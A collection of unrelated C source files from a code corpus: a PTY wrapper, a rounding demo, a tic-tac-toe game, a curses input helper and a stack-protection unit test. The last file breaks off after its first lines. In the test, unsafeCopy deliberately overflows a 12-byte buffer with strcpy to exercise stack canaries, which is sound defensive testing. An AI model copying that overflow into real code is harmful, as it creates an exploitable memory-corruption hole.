int IsNumericLiteral(const char *s) {
if (!s) return 0;
char c = '\0';
while ((c = *s) != '\0') {
if (!isdigit(c)) {
return 0;
}
++s;
}
return 1;
}
|
the_stack_data/122715.c
|
/*####################################################################
#
# PTW - Pseudo Terminal Wrapper
#
# USAGE : ptw [-f] command [argument ...]
# Options : -f ... Forcibly wrap the command in a PTY even though the
# command is placed at the end of the pipeline.
# Originally, it isn't necessary to use a PTY because
# the command placed at the end has a TTY-connected
# STDOUT.
# Retuen : The return value will be decided by the wrapped command
# when PTY wrapping has succeed. However, return a non-zero
# number by this wrapper when failed.
#
# How to compile : cc -O3 -o __CMDNAME__ __SRCNAME__
#
# Written by USP-NCNT prj. / Shell-Shoccar Japan (@shellshoccarjpn)
# on 2021-03-13
#
# This is a public-domain software (CC0). It means that all of the
# people can use this for any purposes with no restrictions at all.
# By the way, We are fed up with the side effects which are brought
# about by the major licenses.
#
# The latest version is distributed at the following page.
# https://github.com/ShellShoccar-jpn/misc-tools
#
####################################################################*/
/*####################################################################
# Initial Configuration
####################################################################*/
/*=== Initial Setting ==============================================*/
/*--- macro constants ----------------------------------------------*/
#define BUFSIZE 8192
/*#define RAWMODE_FOR_MASTER*//*set raw mode for master (probably unnecessary)*/
/*--- headers ------------------------------------------------------*/
#ifdef __linux__
#define _XOPEN_SOURCE 600
#endif
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>
#include <fcntl.h>
#include <termios.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/wait.h>
#if (defined(__unix__) || defined(unix)) && !defined(USG)
#include <sys/param.h> /* get OS identification macro */
#endif
#if !defined(BSD) && !defined(__APPLE__) && !defined(__linux__)
#include <stropts.h> /* include file for ioctl() on POSIX-compliant OS */
#else
#include <sys/ioctl.h> /* include file for ioctl() on *BSD and Linux */
#endif
#if !defined(TABDLY) && defined(OXTABS)
#define TABDLY OXTABS /* for classiic BSD */
#endif
/*--- prototype functions ------------------------------------------*/
#ifdef RAWMODE_FOR_MASTER
void restore_master_termios(void);
#endif
/*--- global variables ---------------------------------------------*/
char* gpszCmdname; /* The name of this command */
int giVerbose; /* speaks more verbosely by the greater number */
int giForciblepty; /* set 1 or more to use PTY forcibly */
int giFd1m, giFd1s; /* PTY file descriptors */
struct termios gstTermm; /* stdin terimios for master */
/*=== Define the functions for printing usage and error ============*/
/*--- exit with usage ----------------------------------------------*/
void print_usage_and_exit(void) {
fprintf(stderr,
"USAGE : %s [-f] command [argument ...]\n"
"Options : -f ... Forcibly wrap the command in a PTY even though the\n"
" command is placed at the end of the pipeline.\n"
" Originally, it isn't necessary to use a PTY because\n"
" the command placed at the end has a TTY-connected\n"
" STDOUT.\n"
"Retuen : The return value will be decided by the wrapped command\n"
" when PTY wrapping has succeed. However, return a non-zero\n"
" number by this wrapper when failed.\n"
"Version : 2020-03-19 12:18:14 JST\n"
" (POSIX C language with \"POSIX centric\" programming)\n"
"\n"
"USP-NCNT prj. / Shell-Shoccar Japan (@shellshoccarjpn),\n"
"No rights reserved. This is public domain software. (CC0)\n"
"\n"
"The latest version is distributed at the following page.\n"
"https://github.com/ShellShoccar-jpn/misc-tools\n"
,gpszCmdname);
exit(1);
}
/*--- print warning message ----------------------------------------*/
void warning(const char* szFormat, ...) {
va_list va;
va_start(va, szFormat);
fprintf(stderr,"%s: ",gpszCmdname);
vfprintf(stderr,szFormat,va);
va_end(va);
return;
}
/*--- exit with error message --------------------------------------*/
void error_exit(int iErrno, const char* szFormat, ...) {
va_list va;
va_start(va, szFormat);
fprintf(stderr,"%s: ",gpszCmdname);
vfprintf(stderr,szFormat,va);
va_end(va);
if (giFd1m >= 0) {close(giFd1m);}
if (giFd1s >= 0) {close(giFd1s);}
exit(iErrno);
}
/*####################################################################
# Main
####################################################################*/
/*=== Initialization ===============================================*/
int main(int argc, char *argv[]) {
/*--- Variables ----------------------------------------------------*/
int iRet; /* exit status for me */
int iStdinIsATTY; /* 1 if stdin is a TTY */
struct termios stTerms; /* PTY slave terimios */
struct winsize stWsizem; /* stdin window size for master */
pid_t pidMS; /* PID (master or slave) */
char szTran[BUFSIZE]; /* for master-slave transceiver */
int i, j, k, l; /* all-purpose int */
char* psz; /* all-purpose char* */
#ifdef __OpenBSD__
struct sigaction saIgnr; /* for ignoring SIGHUP during preparation */
struct sigaction saOrig; /* for backing up signal action */
#endif
/*--- Initialize ---------------------------------------------------*/
gpszCmdname = argv[0];
for (i=0; *(gpszCmdname+i)!='\0'; i++) {
if (*(gpszCmdname+i)=='/') {gpszCmdname=gpszCmdname+i+1;}
}
giFd1m=-1;
giFd1s=-1;
/*=== Parse arguments ==============================================*/
#if !defined(__linux__)
while ((i=getopt(argc, argv, "fvh")) != -1) {
#else
/* To make Linux complieant POSIX, "+" is required at the head of
optstring on getopt() for only Linux */
while ((i=getopt(argc, argv, "+fvh")) != -1) {
#endif
switch (i) {
case 'f': giForciblepty=1; break;
case 'v': giVerbose++; break;
case 'h': print_usage_and_exit();
default : print_usage_and_exit();
}
}
argc -= optind-1;
argv += optind ;
if (argc<2) {print_usage_and_exit();}
if (giVerbose>0) {warning("verbose mode (level %d)\n",giVerbose);}
/*=== Just exec() immediately if connected a tty ===================*/
if (isatty(STDOUT_FILENO) == 1) {
if (giVerbose > 0) {warning("STDOUT is already connected to a TTY.\n", psz);}
if (!giForciblepty) {
if (giVerbose > 0) {warning("So, I'll do exec() without PTY.\n", psz);}
execvp(argv[0],&argv[0]);
error_exit(errno,"%s: %s\n", argv[0], strerror(errno));
}
if (giVerbose > 0) {
warning("However, I'll wrap it in a PTY because of \"-f\" option.\n", psz);
}
}
/*=== Save parameters "termios"/"winsize" of STDIN =================*/
iStdinIsATTY = isatty(STDIN_FILENO);
if (iStdinIsATTY == 1) {
if (tcgetattr(STDIN_FILENO, &gstTermm) < 0) {
error_exit(errno,"tcgetattr() on master (saving): %s\n", strerror(errno));
}
if (ioctl(STDIN_FILENO, TIOCGWINSZ, (char *) &stWsizem) < 0) {
error_exit(errno,"ioctl(TIOCGWINSZ): %s\n" , strerror(errno));
}
}
/*=== Make a PTY pair exectute the wrapping program ================*/
/*--- Make PTY master (parent) -------------------------------------*/
if ((giFd1m=posix_openpt(O_RDWR))<0) {
error_exit(errno,"posix_openpt(): %s\n", strerror(errno));
}
if (grantpt (giFd1m) <0) {
error_exit(errno,"grantpt(): %s\n" , strerror(errno));
}
if (unlockpt(giFd1m) <0) {
error_exit(errno,"unlockpt(): %s\n" , strerror(errno));
}
/*--- Make PTY slave and exectute the wrapping program (child) -----*/
if ((pidMS=fork()) < 0) {error_exit(errno,"fork() #1: %s\n", strerror(errno));}
if (pidMS == 0) {
if (setsid() <0) {error_exit(errno,"setsid(): %s\n",strerror(errno));}
/* to be independent of the parent's session */
if ((psz=ptsname(giFd1m)) == NULL) {error_exit(255,"Failed to ptsname()\n");}
if (giVerbose > 0) {warning("PTY slave is \"%s\"\n", psz);}
if ((giFd1s=open(psz,O_RDWR)) < 0) {
error_exit(errno,"open(%s): %s\n", psz, strerror(errno));
}
#if !defined(BSD) && !defined(__APPLE__) && !defined(__linux__)
/* On traditional System V OSs whose TTYs are impremented by STREAMS,
it is necessary to set up stream if not enabled by autopush facility */
if ((i=ioctl(giFd1s,I_FIND,"ldterm")) < 0) {
error_exit( 255,"ioctl(I_FIND,\"ldterm\") error\n" );
}
if (i == 0) {
if (ioctl(giFd1s,I_PUSH,"ptem" ) < 0) {
error_exit(255,"ioctl(I_PUSH,\"perm\") error\n" );
}
if (ioctl(giFd1s,I_PUSH,"ldterm" ) < 0) {
error_exit(255,"ioctl(I_PUSH,\"ldterm\") error\n" );
}
#if !defined(__hpux) && !defined(_HPUX_SOURCE)
/* According to ldterm(7) on HP-UX man, "ttcompat" is unnecessary
for HP-UX system and it isn't actually provided to the system */
if (ioctl(giFd1s,I_PUSH,"ttcompat") < 0) {
error_exit(255,"ioctl(I_PUSH,\"ttcompat\") error\n");
}
#endif
}
#endif
#if defined(BSD) || defined(__APPLE__)
/* On BSD family (also macOS), it's necessary to use TIOCSCTTY to
assign controlling terminal. */
if (ioctl(giFd1s,TIOCSCTTY,(char*)0) < 0) {
error_exit(255,"ioctl(TIOCSCTTY) error\n");
}
#endif
#ifndef __OpenBSD__
close(giFd1m); giFd1m=-1;
#else
/* On OpenBSD (at least <=6.5), it seems that it has some strange
behaviors on PTY.
- SIGHUP will be sent when the parent closes PTY master.
Thus I give the following codes only to OpenBSD. */
memset(&saIgnr, 0, sizeof(saIgnr));
saIgnr.sa_handler = SIG_IGN;
if (sigaction(SIGHUP,&saIgnr,&saOrig) != 0) {
error_exit(errno,"sigaction() #1: %s\n",strerror(errno));
}
close(giFd1m); giFd1m=-1;
if (sigaction(SIGHUP,&saOrig,NULL) != 0) {
error_exit(errno,"sigaction() #2c: %s\n",strerror(errno));
}
#endif
/* Restore the saved STDIN parameters */
if (iStdinIsATTY == 1) {
if (tcsetattr(giFd1s, TCSANOW, &gstTermm) < 0) {
error_exit(errno,"tcsetattr() on slave #1: %s\n", strerror(errno));
}
if (ioctl(giFd1s, TIOCSWINSZ, &stWsizem) < 0) {
error_exit(errno,"ioctl(TIOCSWINSZ): %s\n" , strerror(errno));
}
}
/* Assign PTY slave instead of std{in,out,err} for the slave side process */
if (dup2(giFd1s, STDOUT_FILENO) != STDOUT_FILENO) {
error_exit(errno,"dup2(slv,stdout): %s\n" , strerror(errno));
}
if (giFd1s!=STDOUT_FILENO) {close(giFd1s);}
/* Turn off echo for the PTY slave */
if (isatty(STDOUT_FILENO) == 1) {
if (tcgetattr(STDOUT_FILENO, &stTerms) < 0) {
error_exit(errno,"tcgetattr() on slave: %s\n" , strerror(errno));
}
stTerms.c_lflag &= ~( ECHO | ECHOE | ECHOK | ECHONL );
stTerms.c_oflag &= ~( ONLCR | TABDLY );
if (tcsetattr(STDOUT_FILENO, TCSANOW, &stTerms) < 0) {
error_exit(errno,"tcsetattr() on slave #2: %s\n", strerror(errno));
}
}
/* Finally, exec the program which will be wrapped */
execvp(argv[0],&argv[0]);
error_exit(errno,"%s: %s\n", argv[0], strerror(errno));
}
/*=== Turn into raw mode for master STDIN ==========================*/
#ifdef RAWMODE_FOR_MASTER
if (isatty(STDOUT_FILENO) == 1) {
/*--- Set flags and parameters for raw mode ----------------------*/
gstTermm.c_iflag &= ~( BRKINT | ICRNL | INLCR | IGNCR |
INPCK | ISTRIP | IXON | PARMRK );
gstTermm.c_iflag |= ( IGNBRK );
gstTermm.c_oflag &= ~( OPOST );
gstTermm.c_lflag &= ~( ECHO | ICANON | IEXTEN | ISIG );
gstTermm.c_cflag &= ~( PARENB | CSIZE );
gstTermm.c_cflag |= ( CS8 );
gstTermm.c_cc[VMIN ] = 1;
gstTermm.c_cc[VTIME] = 0;
/*--- Turn into raw mode gracefully ------------------------------*/
if (tcsetattr(STDIN_FILENO, TCSAFLUSH, &gstTermm) < 0) {
error_exit(errno,"tcsetattr() on master: %s\n", strerror(errno));
}
/*--- Set flags and parameters for raw mode ----------------------*/
atexit(restore_master_termios);
/*--- Make sure that all the flags and parameters have been set --*/
if (tcgetattr(STDIN_FILENO, &gstTermm) < 0) {
error_exit(errno,"tcgetattr() on master (verifying): %s\n",strerror(errno));
}
if ((gstTermm.c_iflag & ( BRKINT | ICRNL | INLCR | IGNCR |
INPCK | ISTRIP | IXON | PARMRK |
IGNBRK ))!= IGNBRK ||
(gstTermm.c_oflag & ( OPOST )) ||
(gstTermm.c_lflag & ( ECHO | ICANON | IEXTEN | ISIG )) ||
(gstTermm.c_cflag & ( CSIZE | PARENB | CS8 ))!= CS8 ||
(gstTermm.c_cc[VMIN] != 1 ) ||
(gstTermm.c_cc[VTIME] != 0 ) )
{
error_exit(255,"tcgetattr() on master (verifying): verify error\n");
}
}
#endif
/*=== Transceive data from/to the PTY ==============================*/
/*--- Transceive ---------------------------------------------------*/
iRet = 0;
while (1) {
j = (int)read(giFd1m, szTran, BUFSIZE);
if (j <0) {
if (errno != EIO) {
error_exit(errno,"read() on mono RX: %s\n", strerror(errno));
}
/* EIO suggests, in this case, that the child is already dead and
it's no problem. However, I will print a message just in case
if -v option is given. */
if (giVerbose > 0) {warning("read() on mono RX: EIO occured\n");}
j = 0;
}
if (j==0) {
#ifndef __OpenBSD__
break;
#else
/* On OpenBSD (at least <=6.5), it seems that it has some strange
behaviors on PTY.
- read() for PTY seems to work in non-blocking mode forcibly.
- waitpid() can return 0 even though its children are still alive.
Thus I give the following codes only to OpenBSD. */
if (waitpid(-1,&j,WNOHANG) >= 0) {
iRet = (WIFEXITED(j) ) ? WEXITSTATUS(j) :
(WIFSIGNALED(j)) ? WTERMSIG(i)+127 :
254 ;
continue;
}
if (errno!=ECHILD) {error_exit(errno,"waitpid(): %s\n", strerror(errno));}
if (giVerbose > 0) {warning("waitpid(): ECHILD occured\n");}
close(giFd1m); giFd1m=-1;
return iRet;
#endif
}
k = j;
while (k > 0) {
l = (int)write(STDOUT_FILENO, szTran+j-k, k);
if (l < 0) {error_exit(errno,"write() on mono RX: %s\n",strerror(errno));}
k -= l;
}
}
/*--- Close the PTY ------------------------------------------------*/
close(giFd1m); giFd1m=-1;
/*=== Wait for the child to exit ===================================*/
if (wait(&i) < 0) {error_exit(errno,"wait(): %s\n", strerror(errno));}
iRet = (WIFEXITED(i) ) ? WEXITSTATUS(i) :
(WIFSIGNALED(i)) ? WTERMSIG(i)+127 :
254 ;
/*=== Finish with exit status the child returned basically =========*/
return iRet;}
/*####################################################################
# Functions
####################################################################*/
#ifdef RAWMODE_FOR_MASTER
/*=== (Exit trap) Restore the termios parameters for master ========*/
void restore_master_termios(void) {
if (tcsetattr(STDIN_FILENO, TCSAFLUSH, &gstTermm) < 0) {
fprintf(stderr,"%s: tcsetattr() on atexit()\n",gpszCmdname);
}
}
#endif
|
the_stack_data/48575108.c
|
/*******************************************************************************
*
* Program: Rounding functions demonstration
*
* Description: Examples of using double value rounding functions in C.
*
* YouTube Lesson: https://www.youtube.com/watch?v=FixR9aiVsy4
*
* Author: Kevin Browne @ https://portfoliocourses.com
*
*******************************************************************************/
#include <stdio.h>
#include <math.h>
int main(void)
{
// try different numbers like -3.5, 3.49, 3.9, 3.1 to see different behaviours
double x = 3.5;
// round will round away from 0 if the fractional component is .5 or higher
// so 3.5 will round to 4, and -3.5 rounds to -4.0 because it rounds *away*
// from 0!
printf("round(%.2f) = %.2f\n", x, round(x) );
// ceil will always round to the next highest integer
// so 3.5 will round to 4, and -3.5 rounds to -3.0 because -3.0 *is* the next
// "highest" integer!
printf("ceil(%.2f) = %.2f\n", x, ceil(x) );
// floor will always round to the next lowest integer
// so 3.5 will round to 3, and -3.5 rounds to -4.0 because -4.0 *is* the next
// "lowest" integer!
printf("floor(%.2f) = %.2f\n", x, floor(x) );
// trunc essentially chops off the fractional component and sets it to .0
// so 3.5 rounds to 3, and -3.5 rounds to -3.0
// we can say that trunc always rounds *towards* 0!
printf("trunc(%.2f) = %.2f\n", x, trunc(x) );
return 0;
}
|
the_stack_data/9513301.c
|
/*
* stackAttack.c
* This unit test specifically formulated to have a predictable
* call stack so we can try some techniques to protect against
* SDCs in stack frames.
* Mark all the functions so they are not inlined.
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
// print some messages
#if defined(__has_feature)
# if __has_feature(shadow_call_stack)
/***************************** Shadow Call Stack ******************************/
# pragma message ("Using Shadow Call Stack protection")
#ifdef __x86_64__
///////////////////////////// x86 run-time /////////////////////////////
// No run-time is provided for the x86 implementation.
#include <asm/prctl.h>
#include <sys/prctl.h>
// for some reason, compiler still complains about implicit declaration
extern int arch_prctl(int code, unsigned long *addr);
// Set aside space for the gs register to save return addresses in.
#define SHADOW_STACK_SIZE 512
uint64_t shadowStack[SHADOW_STACK_SIZE];
// Run some code before main() starts
// https://stackoverflow.com/a/8713662/12940429
void premain(void) __attribute__ ((constructor))
__attribute__((no_sanitize("shadow-call-stack")));
void premain(void) {
// We need to set the `gs` register.
// https://stackoverflow.com/a/59282564/12940429
arch_prctl(ARCH_SET_GS, &shadowStack[SHADOW_STACK_SIZE - 1]);
}
#endif
# endif
# if (__SSP_ALL__ == 3) || (__SSP_STRONG__ == 2) || (__SSP__ == 1)
/************************** Stack Protector (Canary) **************************/
#ifdef __ARM_EABI__
//////////////////////////// ARM32 run-time ////////////////////////////
// automatic for x86, not for ARM clang baremetal
// https://embeddedartistry.com/blog/2020/05/18/implementing-stack-smashing-protection-for-microcontrollers-and-embedded-artistrys-libc/
// also this, but it's not as good
// https://antoinealb.net/programming/2016/06/01/stack-smashing-protector-on-microcontrollers.html
// did the user set it already?
#ifndef STACK_CHK_GUARD_VALUE
// stack guard value - 32 or 64 bit?
#if (UINTPTR_MAX == UINT32_MAX)
#define STACK_CHK_GUARD 0xdeadbeef
#else
#define STACK_CHK_GUARD 0xdeadbeef8badf00d
#endif
#endif
// this is the canary value
uintptr_t __attribute__((weak)) __stack_chk_guard = 0;
// randomly generated canary value?
// https://github.com/gcc-mirror/gcc/blob/master/libssp/ssp.c
// callback can be overwritten by user
__attribute__((weak)) uintptr_t __stack_chk_guard_init(void) {
return STACK_CHK_GUARD;
}
// pre-main initialization of stack guard value
static void __attribute__((constructor,no_stack_protector)) __construct_stk_chk_guard()
{
if (__stack_chk_guard == 0) {
__stack_chk_guard = __stack_chk_guard_init();
}
}
#include <stdlib.h>
// this gets called at a mismatch
void __stack_chk_fail(void) __attribute__((weak, noreturn));
void __stack_chk_fail(void) {
printf("Stack smashed! Aborting...\n");
abort();
}
#endif
# endif
#endif
/********************************* Functions **********************************/
// simple functions to test nested stack frames
__attribute__((noinline))
int func3(uint32_t arg3) {
return arg3 + 3;
}
__attribute__((noinline))
int func2(uint32_t arg2) {
return func3(arg2) + 2;
}
__attribute__((noinline))
int func1(uint32_t arg1) {
return func2(arg1) + 1;
}
#ifdef FORTIFY_SOURCE
/*
* Function that tries to overwrite the stack return address.
* Simple mistake to make, forgetting to count the null terminator.
*/
void unsafeCopy(void) {
char buf[12];
strcpy(buf, "Hello there!");
printf("%s\n", buf);
return;
}
#endif
int main() {
int ret = 0;
uint32_t x = 42;
// expected result: (((42 + 3) + 2) + 1) = 48
uint32_t result = func1(x);
#ifdef FORTIFY_SOURCE
// buffer test
unsafeCopy();
#endif
if (result != 48) {
printf("Error, got %u, expected 48!\n", result);
ret = -1;
} else {
printf("Success!\n");
}
#ifdef __QEMU_SIM
// have to spin forever instead of actually returning
while (1);
#endif
return ret;
}
/********************************* x86 notes **********************************/
/*
* normal disassembly of func2:
* 0x00000000004004f0 <+0>: push %rbp
* 0x00000000004004f1 <+1>: mov %rsp,%rbp
* 0x00000000004004f4 <+4>: sub $0x10,%rsp
* 0x00000000004004f8 <+8>: mov %edi,-0x4(%rbp)
* 0x00000000004004fb <+11>: mov -0x4(%rbp),%edi
* 0x00000000004004fe <+14>: callq 0x4004e0 <func3>
* 0x0000000000400503 <+19>: add $0x2,%eax
* 0x0000000000400506 <+22>: add $0x10,%rsp
* 0x000000000040050a <+26>: pop %rbp
* 0x000000000040050b <+27>: retq
*/
/*
* with -fsanitize=shadow-call-stack
* (removed in LLVM 9.0, for future reference)
* 0000000000400570 <func2>:
* 400570: 4c 8b 14 24 mov (%rsp),%r10
* 400574: 4d 31 db xor %r11,%r11
* 400577: 65 49 83 03 08 addq $0x8,%gs:(%r11)
* 40057c: 65 4d 8b 1b mov %gs:(%r11),%r11
* 400580: 65 4d 89 13 mov %r10,%gs:(%r11)
* 400584: 55 push %rbp
* 400585: 48 89 e5 mov %rsp,%rbp
* 400588: 48 83 ec 10 sub $0x10,%rsp
* 40058c: 89 7d fc mov %edi,-0x4(%rbp)
* 40058f: 8b 7d fc mov -0x4(%rbp),%edi
* 400592: e8 b9 ff ff ff callq 400550 <func3>
* 400597: 83 c0 02 add $0x2,%eax
* 40059a: 48 83 c4 10 add $0x10,%rsp
* 40059e: 5d pop %rbp
* 40059f: 4d 31 db xor %r11,%r11
* 4005a2: 65 4d 8b 13 mov %gs:(%r11),%r10
* 4005a6: 65 4d 8b 12 mov %gs:(%r10),%r10
* 4005aa: 65 49 83 2b 08 subq $0x8,%gs:(%r11)
* 4005af: 4c 39 14 24 cmp %r10,(%rsp)
* 4005b3: 75 01 jne 4005b6 <func2+0x46>
* 4005b5: c3 retq
* 4005b6: 0f 0b ud2
* 4005b8: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)
* 4005bf: 00
* see https://releases.llvm.org/7.0.1/tools/clang/docs/ShadowCallStack.html
*/
/*
* with -fstack-protector-all
* 0000000000400580 <func2>:
* 400580: 55 push %rbp
* 400581: 48 89 e5 mov %rsp,%rbp
* 400584: 48 83 ec 10 sub $0x10,%rsp
* 400588: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
* 40058f: 00 00
* 400591: 48 89 45 f8 mov %rax,-0x8(%rbp)
* 400595: 89 7d f4 mov %edi,-0xc(%rbp)
* 400598: 8b 7d f4 mov -0xc(%rbp),%edi
* 40059b: e8 a0 ff ff ff callq 400540 <func3>
* 4005a0: 83 c0 02 add $0x2,%eax
* 4005a3: 64 48 8b 0c 25 28 00 mov %fs:0x28,%rcx
* 4005aa: 00 00
* 4005ac: 48 8b 55 f8 mov -0x8(%rbp),%rdx
* 4005b0: 48 39 d1 cmp %rdx,%rcx
* 4005b3: 75 06 jne 4005bb <func2+0x3b>
* 4005b5: 48 83 c4 10 add $0x10,%rsp
* 4005b9: 5d pop %rbp
* 4005ba: c3 retq
* 4005bb: e8 70 fe ff ff callq 400430 <__stack_chk_fail@plt>
*/
/********************************* ARM notes **********************************/
/*
* normal disassembly of func2:
* 0x001004cc <+0>: push {r11, lr}
* 0x001004d0 <+4>: mov r11, sp
* 0x001004d4 <+8>: sub sp, sp, #8
* 0x001004d8 <+12>: str r0, [sp, #4]
* 0x001004dc <+16>: ldr r0, [sp, #4]
* 0x001004e0 <+20>: bl 0x1004b4 <func3>
* 0x001004e4 <+24>: add r0, r0, #2
* 0x001004e8 <+28>: mov sp, r11
* 0x001004ec <+32>: pop {r11, pc}
*/
/*
* ShadowCallStack doesn't support 32-bit ARM, only aarch64.
* We would need a 64-bit ARM simulator to test this.
*/
/*
* with -fstack-protector-all
* 001005ac <func2>:
* 1005ac: e92d4800 push {fp, lr}
* 1005b0: e1a0b00d mov fp, sp
* 1005b4: e24dd008 sub sp, sp, #8
* 1005b8: e3041034 movw r1, #16436 ; 0x4034
* 1005bc: e3401011 movt r1, #17
* 1005c0: e5911000 ldr r1, [r1]
* 1005c4: e58d1004 str r1, [sp, #4]
* 1005c8: e58d0000 str r0, [sp]
* 1005cc: e59d0000 ldr r0, [sp]
* 1005d0: ebffffe0 bl 100558 <func3>
* 1005d4: e2800002 add r0, r0, #2
* 1005d8: e3041034 movw r1, #16436 ; 0x4034
* 1005dc: e3401011 movt r1, #17
* 1005e0: e5911000 ldr r1, [r1]
* 1005e4: e59d2004 ldr r2, [sp, #4]
* 1005e8: e0411002 sub r1, r1, r2
* 1005ec: e3510000 cmp r1, #0
* 1005f0: 1a000000 bne 1005f8 <func2+0x4c>
* 1005f4: ea000000 b 1005fc <func2+0x50>
* 1005f8: ebffffcf bl 10053c <__stack_chk_fail>
* 1005fc: e1a0d00b mov sp, fp
* 100600: e8bd8800 pop {fp, pc}
*/
|
the_stack_data/148004.c
|
/* Generated by CIL v. 1.7.0 */
/* print_CIL_Input is false */
struct _IO_FILE;
struct timeval;
extern void signal(int sig , void *func ) ;
extern float strtof(char const *str , char const *endptr ) ;
typedef struct _IO_FILE FILE;
extern int atoi(char const *s ) ;
extern double strtod(char const *str , char const *endptr ) ;
extern int fclose(void *stream ) ;
extern void *fopen(char const *filename , char const *mode ) ;
extern void abort() ;
extern void exit(int status ) ;
extern int raise(int sig ) ;
extern int fprintf(struct _IO_FILE *stream , char const *format , ...) ;
extern int strcmp(char const *a , char const *b ) ;
extern int rand() ;
extern unsigned long strtoul(char const *str , char const *endptr , int base ) ;
void RandomFunc(unsigned int input[1] , unsigned int output[1] ) ;
extern int strncmp(char const *s1 , char const *s2 , unsigned long maxlen ) ;
extern int gettimeofday(struct timeval *tv , void *tz , ...) ;
extern int printf(char const *format , ...) ;
int main(int argc , char *argv[] ) ;
void megaInit(void) ;
extern unsigned long strlen(char const *s ) ;
extern long strtol(char const *str , char const *endptr , int base ) ;
extern unsigned long strnlen(char const *s , unsigned long maxlen ) ;
extern void *memcpy(void *s1 , void const *s2 , unsigned long size ) ;
struct timeval {
long tv_sec ;
long tv_usec ;
};
extern void *malloc(unsigned long size ) ;
extern int scanf(char const *format , ...) ;
int main(int argc , char *argv[] )
{
unsigned int input[1] ;
unsigned int output[1] ;
int randomFuns_i5 ;
unsigned int randomFuns_value6 ;
int randomFuns_main_i7 ;
{
megaInit();
if (argc != 2) {
printf("Call this program with %i arguments\n", 1);
exit(-1);
} else {
}
randomFuns_i5 = 0;
while (randomFuns_i5 < 1) {
randomFuns_value6 = (unsigned int )strtoul(argv[randomFuns_i5 + 1], 0, 10);
input[randomFuns_i5] = randomFuns_value6;
randomFuns_i5 ++;
}
RandomFunc(input, output);
if (output[0] == 4280010752U) {
printf("You win!\n");
} else {
}
randomFuns_main_i7 = 0;
while (randomFuns_main_i7 < 1) {
printf("%u\n", output[randomFuns_main_i7]);
randomFuns_main_i7 ++;
}
}
}
void RandomFunc(unsigned int input[1] , unsigned int output[1] )
{
unsigned int state[1] ;
unsigned int local1 ;
char copy11 ;
unsigned short copy12 ;
char copy13 ;
{
state[0UL] = (input[0UL] + 914778474UL) ^ 3462201355U;
local1 = 0UL;
while (local1 < 0U) {
if (state[0UL] > local1) {
copy11 = *((char *)(& state[local1]) + 0);
*((char *)(& state[local1]) + 0) = *((char *)(& state[local1]) + 1);
*((char *)(& state[local1]) + 1) = copy11;
} else {
copy12 = *((unsigned short *)(& state[0UL]) + 1);
*((unsigned short *)(& state[0UL]) + 1) = *((unsigned short *)(& state[0UL]) + 0);
*((unsigned short *)(& state[0UL]) + 0) = copy12;
}
if (state[0UL] == local1) {
copy13 = *((char *)(& state[local1]) + 0);
*((char *)(& state[local1]) + 0) = *((char *)(& state[local1]) + 3);
*((char *)(& state[local1]) + 3) = copy13;
} else {
state[local1] >>= ((state[local1] >> 4U) & 7U) | 1UL;
}
local1 ++;
}
output[0UL] = (state[0UL] << 7U) * 539043690U;
}
}
void megaInit(void)
{
{
}
}
|
the_stack_data/660049.c
|
/**
* AUTHOR: Khaled Badran
* DATE: 01/09/2020
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <time.h>
typedef char *String;
char play_field[3][3];
char player1 = 'x', player2 = 'o';
/**
* the play_field variable should be defined globally,
* so that we can access it from any function and update it.
*/
void print_field(){ // to print the game drid
printf(" *X_O GAME*\n");
printf("please choose the slot, where you want to play\n");
for(int i = 0; i < 3;i++){
for(int j=0; j < 3; j++){
printf("|%c", play_field[i][j] = '_' );
}
printf("|\n");
}
}
void print_game(int row, int column, char input){
while (play_field[row][column] != '_'){ // if the cell is not empty
printf("This is an invalid move.\n");
printf("please choose the slot, where you want to play\n");
scanf("%d %d", &row, & column);
}
for(int i = 0; i < 3;i++){
for(int j=0; j < 3; j++){
if (i == row && j == column){
printf("|%c", play_field[i][j]= input);
} else {
printf("|%c", play_field[i][j] );
}
}
printf("|\n");
}
}
bool game_over(){//checks wheather x or o wins: else draw.
int player;
char input;
for (int x = 1; x < 3; x++){//this loop is to alternate player's turn with the computer's turn.
player = x % 2;
if (player != 0) input = 'x';
if (player == 0) input = 'o';
//checks rows and columns
for (int i = 0; i<3 ;i++){
if(play_field[i][0]== input && play_field[i][1]== input && play_field[i][2]== input){
//if a row is completely the same.
printf("player%d wins (%c) :)\n",x , input);
return true;
}
if(play_field[0][i] == input && play_field[1][i] == input && play_field[2][i]== input){
//if a column is completely the same.
printf("player%d wins (%c) :)\n",x , input);
return true;
}
}
//if any diagonal is completely filled with the same input.
if(play_field[0][0]== input && play_field[1][1]==input && play_field[2][2]== input){
printf("player%d wins (%c) :)\n",x , input);
return true;
}
if(play_field[0][2]== input && play_field[1][1]== input && play_field[2][0]== input){
printf("player%d wins (%c) :)\n",x , input);
return true;
}
}
return false;
}
void computer_turn(){
srand(time(NULL));
int range = 3;
int row = (rand() % range); //the random numbers are [0:2].
int col = (rand() % range);
while (play_field[row][col] != '_'){
row = (rand() % range);
col = (rand() % range);
}
print_game(row, col, player2);
}
void game(){
int row, column;
print_field();
printf("player1's turn (x)\n");
for(int turns = 0 ; turns < 9; turns++ ){
int player = turns % 2;
switch (player){
case 0:
scanf("%d %d",&row ,&column);
print_game(row, column, player1);
if (game_over()==true) return; // if anyone won, end the loop
printf("player2's turn (o)\n");
break;
default:
computer_turn();
if (game_over()==true) return; // if anyone won, end the loop
printf("player1's turn (x)\n");
break;
}
if (game_over()==true) return;
}
printf("draw!! no one wins");
}
int main(){
game();
return 0;
}
|
the_stack_data/360814.c
|
/******************************************************************************
// File: char_handling.c
// Fach: BSy
// Autor: O. Walch, 3/2012
******************************************************************************/
#include <stdio.h>
#include <string.h>
#include <curses.h> // LDFLAGS = -lncurses
void inti_curses(void)
{
initscr(); /* Set curses mode*/
raw();
keypad(stdscr, TRUE);
echo();
}
/**
* readline() - Reads at most count characters from stdin into the buffer buf
* @buf: Buffer for the whole command
* @count: Size of the buffer
* @return: Size of detected chars
*/
int readline(char *buf, int count) {
int ch;
int i = 0; /* character counter */
memset(buf,0, count);
while ((ch = getch()) != EOF && ch != '\n' && i < count-1) {
buf[i] = ch;
i++;
}
buf[i] = '\0';
return i;
}
|
the_stack_data/972463.c
|
/* Program to check if C is interleaving of A and B
A = abcd
